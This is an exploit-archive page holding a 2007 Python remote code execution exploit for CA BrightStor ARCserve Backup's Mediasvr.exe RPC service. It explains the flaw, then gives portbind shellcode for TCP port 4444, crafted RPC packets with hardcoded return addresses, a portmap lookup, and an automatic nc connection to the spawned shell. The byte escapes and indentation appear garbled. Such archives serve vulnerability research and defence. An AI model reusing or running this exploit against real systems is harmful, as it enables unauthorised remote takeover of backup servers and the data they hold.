[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : CA BrightStor Backup 11.5.2.0 (Mediasvr.exe) Remote Code Exploit
# Published : 2007-03-29
# Author : Shirkdog
# Previous Title : dproxy-nexgen Remote Root Buffer Overflow Exploit (x86-lnx)
# Next Title : Oracle 10g KUPM$MCP.MAIN SQL Injection Exploit v2


#!/usr/bin/python
#
# Computer Associates (CA) Brightstor Backup Mediasvr.exe Remote Code Exploit
# (Previously Unknown)
#
# There seems to be an design error in the handling of RPC data with xdr procedures
# across several .dll's imported by Mediasvr.exe. Four bytes from an RPC packet are
# processed as a particular address (xdr_handle_t data which is run through multiple bit
# shifts, and reversing of bytes), and eventually loaded into ECX.
#
# The 191 (0xbf) procedure, followed by nulls (at least 8 bytes of nulls, which may
# be Null Credentials and Auth?) leads to an exploitable condition.
#
# .text:0040AACD 008                 mov     ecx, [esp+8]
# .text:0040AAD1 008                 mov     dword_418820, esi
# .text:0040AAD7 008                 push    offset dword_418820
# .text:0040AADC 00C                 mov     eax, [ecx]
# .text:0040AADE 00C                 call    dword ptr [eax+2Ch]
#
# At this point, you have control of ECX (esp+8 is your address data). The data from the packet
# is stored in memory and is relatively static (see NOTE).
#
# The address is then loaded into EAX, and then called as EAX+2Ch, which is
# controllable data from the packet. In this code, I just jump ahead to
# the portbinding shellcode.
#
# NOTE: The only issue I have found is when the system is rebooted, the packet data
# appears at a higher memory location when Mediasvr.exe crashes
# and is restarted. I have accounted for this in the code, when the port that
# Mediasvr.exe is listening on is below TCP port 1100, which is usually only after
# a reboot
#
# This was tested on BrightStor ARCserve Backup 11.5.2.0 (SP2) with the latest
# CA patches on Windows XP SP2 (I believe there is some issue with SP1, which
# is more then likely the memory locations)
#
# The patches include the following updates to Mediasvr.exe
# http://supportconnectw.ca.com/public/storage/infodocs/babimpsec-notice.asp
#
# CA has been notified
#
# Author: M. Shirk
# Tester: Tebodell
#
# (c) Copyright 2007 (Shirkdog Security) shirkdog_list $ at % hotmail dot com
#
# Use at your own Risk: You have been warned
#------------------------------------------------------------------------

import os
import sys
import time
import socket
import struct

#------------------------------------------------------------------------

#Portbind shellcode; Binds shell on TCP port 4444
shellcode  = "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
shellcode += "xebx03x59xebx05xe8xf8xffxffxffx4fx49x49x49x49x49"
shellcode += "x49x51x5ax56x54x58x36x33x30x56x58x34x41x30x42x36"
shellcode += "x48x48x30x42x33x30x42x43x56x58x32x42x44x42x48x34"
shellcode += "x41x32x41x44x30x41x44x54x42x44x51x42x30x41x44x41"
shellcode += "x56x58x34x5ax38x42x44x4ax4fx4dx4ex4fx4cx36x4bx4e"
shellcode += "x4dx34x4ax4ex49x4fx4fx4fx4fx4fx4fx4fx42x46x4bx58"
shellcode += "x4ex56x46x42x46x42x4bx58x45x54x4ex53x4bx48x4ex57"
shellcode += "x45x30x4ax47x41x30x4fx4ex4bx48x4fx44x4ax51x4bx38"
shellcode += "x4fx55x42x32x41x50x4bx4ex49x44x4bx58x46x33x4bx58"
shellcode += "x41x30x50x4ex41x43x42x4cx49x49x4ex4ax46x48x42x4c"
shellcode += "x46x37x47x30x41x4cx4cx4cx4dx30x41x30x44x4cx4bx4e"
shellcode += "x46x4fx4bx53x46x35x46x52x4ax42x45x57x45x4ex4bx48"
shellcode += "x4fx45x46x52x41x30x4bx4ex48x46x4bx38x4ex50x4bx54"
shellcode += "x4bx48x4fx45x4ex41x41x30x4bx4ex43x30x4ex32x4bx58"
shellcode += "x49x48x4ex36x46x42x4ex41x41x56x43x4cx41x53x4bx4d"
shellcode += "x46x56x4bx38x43x54x42x43x4bx58x42x44x4ex30x4bx38"
shellcode += "x42x47x4ex41x4dx4ax4bx58x42x44x4ax30x50x55x4ax56"
shellcode += "x50x48x50x34x50x30x4ex4ex42x45x4fx4fx48x4dx48x36"
shellcode += "x43x45x48x56x4ax46x43x53x44x33x4ax46x47x37x43x57"
shellcode += "x44x33x4fx35x46x35x4fx4fx42x4dx4ax36x4bx4cx4dx4e"
shellcode += "x4ex4fx4bx53x42x45x4fx4fx48x4dx4fx35x49x38x45x4e"
shellcode += "x48x46x41x58x4dx4ex4ax30x44x30x45x35x4cx36x44x30"
shellcode += "x4fx4fx42x4dx4ax46x49x4dx49x50x45x4fx4dx4ax47x35"
shellcode += "x4fx4fx48x4dx43x35x43x45x43x55x43x45x43x35x43x34"
shellcode += "x43x55x43x34x43x45x4fx4fx42x4dx48x46x4ax36x41x41"
shellcode += "x4ex45x48x36x43x45x49x58x41x4ex45x39x4ax56x46x4a"
shellcode += "x4cx31x42x37x47x4cx47x45x4fx4fx48x4dx4cx46x42x31"
shellcode += "x41x55x45x55x4fx4fx42x4dx4ax36x46x4ax4dx4ax50x42"
shellcode += "x49x4ex47x45x4fx4fx48x4dx43x55x45x35x4fx4fx42x4d"
shellcode += "x4ax36x45x4ex49x54x48x58x49x44x47x55x4fx4fx48x4d"
shellcode += "x42x55x46x35x46x35x45x35x4fx4fx42x4dx43x39x4ax56"
shellcode += "x47x4ex49x47x48x4cx49x37x47x45x4fx4fx48x4dx45x45"
shellcode += "x4fx4fx42x4dx48x46x4cx36x46x56x48x36x4ax46x43x46"
shellcode += "x4dx46x49x58x45x4ex4cx56x42x35x49x55x49x52x4ex4c"
shellcode += "x49x38x47x4ex4cx56x46x54x49x58x44x4ex41x53x42x4c"
shellcode += "x43x4fx4cx4ax50x4fx44x54x4dx52x50x4fx44x34x4ex32"
shellcode += "x43x49x4dx48x4cx47x4ax33x4bx4ax4bx4ax4bx4ax4ax36"
shellcode += "x44x47x50x4fx43x4bx48x41x4fx4fx45x57x46x34x4fx4f"
shellcode += "x48x4dx4bx45x47x55x44x55x41x45x41x35x41x55x4cx36"
shellcode += "x41x30x41x35x41x55x45x45x41x45x4fx4fx42x4dx4ax56"
shellcode += "x4dx4ax49x4dx45x30x50x4cx43x35x4fx4fx48x4dx4cx56"
shellcode += "x4fx4fx4fx4fx47x33x4fx4fx42x4dx4bx38x47x55x4ex4f"
shellcode += "x43x48x46x4cx46x36x4fx4fx48x4dx44x55x4fx4fx42x4d"
shellcode += "x4ax46x42x4fx4cx48x46x50x4fx45x43x55x4fx4fx48x4d"
shellcode += "x4fx4fx42x4dx5ax90"

#------------------------------------------------------------------------

#First Packet
rpc_packet1="x80x00x80x34x65xcfx4cx7bx00x00x00x00x00x00x00"
rpc_packet1+="x02x00x06x09x7ex00x00x00x01"

#Prodcedure 191 and nulls
rpc_packet1+="x00x00x00xbfx00x00x00x00x00x00x00x00"

#Apparently these 4 bytes can be anything
rpc_packet1+="x00x00x00x00"

#This value is important for the location of the next address
rpc_packet1+="x00x00x00x00"

#Hardcoded Address loaded into ECX
rpc_packet1+="x00xaex27x64"

#Just spacing
rpc_packet1+="x41x42x43x44"

#Addess in memory, loaded into EAX and called with EAX+2Ch to get to shellcode
rpc_packet1+="x3cx27xaex00"

#jump to shellcode for packet 1
rpc_packet1+="x6cx27xaex00"
rpc_packet1+="xebx01"
rpc_packet1+=shellcode

#------------------------------------------------------------------------

#Second Packet
rpc_packet2="x80x00x80x34x65xcfx4cx7bx00x00x00x00x00x00x00"
rpc_packet2+="x02x00x06x09x7ex00x00x00x01"

#Procedure 191 and nulls
rpc_packet2+="x00x00x00xbfx00x00x00x00x00x00x00x00"

#Apparently these 4 bytes can be anything
rpc_packet2+="x00x00x00x00"

#This value is important for the location of the next address
rpc_packet2+="x00x00x00x00"

#Hardcoded Address loaded into ECX that seems to be hit after Mediasvr.exe has been
#restarted
rpc_packet2+="x00x9ex27x64"

#Just spacing
rpc_packet2+="x41x42x43x44"

#Addess stored in memory, loaded into EAX and called with EAX+2Ch to get to shellcode
rpc_packet2+="x3cx27x9ex00"

#jump to shellcode for packet 2
rpc_packet2+="x6cx27x9ex00"
rpc_packet2+="xebx01"
rpc_packet2+=shellcode

# Portmap request for Mediasvr.exe
rpc_portmap_req="x80x00x00x38x21x84xf7xc9x00x00x00x00x00x00x00"
rpc_portmap_req+="x02x00x01x86xa0x00x00x00x02x00x00x00x03x00x00"
rpc_portmap_req+="x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
rpc_portmap_req+="x06x09x7ex00x00x00x01x00x00x00x06x00x00x00x00"

#------------------------------------------------------------------------

def GetMediaSvrPort(target):
    sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    sock.connect((target,111))
    sock.send(rpc_portmap_req)
    rec = sock.recv(256)
    sock.close()

    port1 = rec[-4]
    port2 = rec[-3]
    port3 = rec[-2]
    port4 = rec[-1]   
   
    port1 = hex(ord(port1))
    port2 = hex(ord(port2))
    port3 = hex(ord(port3))
    port4 = hex(ord(port4))
    port = '%02x%02x%02x%02x' % (int(port1,16),int(port2,16),int(port3,16),int(port4,16))
   
    port = int(port,16)
    if port < 1100:
        print '[+] Fresh Meat: Mediasvr.exe has not been restarted, Sending Packet 1 to: Target: %s Port: %s' %(target,port)
        ExploitMediaSvr(target,port,1)
    else:
        print '[+] Mediasvr.exe has been restarted, Sending Packet 2 to: Target: %s Port: %s' % (target,port)
        ExploitMediaSvr(target,port,2)

def ExploitMediaSvr(target,port,p):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((target, port))
    if p == 1:
        sock.send(rpc_packet1)    
    elif p == 2:
        sock.send(rpc_packet2)
       sock.close ()


if __name__=="__main__":
       try:
               target = sys.argv[1]
       except IndexError:
        print '[+] Computer Associates (CA) Brightstor Backup Mediasvr.exe Remote Exploit'
               print '[+] Author: Shirkdog'
                   print '[+] Usage: %s <target ip>n' % sys.argv[0]
                   sys.exit(-1)

       print '[+] Computer Associates (CA) Brightstor Backup Mediasvr.exe Remote Exploit'
       print '[+] Author: Shirkdog'

       GetMediaSvrPort(target)
           
       print '[+] Exploit sent. Using nc to connect to: %s on port 4444' % target
       time.sleep(3)
       connect = "/usr/bin/nc -vn " + target + " 4444"
       os.system(connect)

# www.Syue.com [2007-03-29]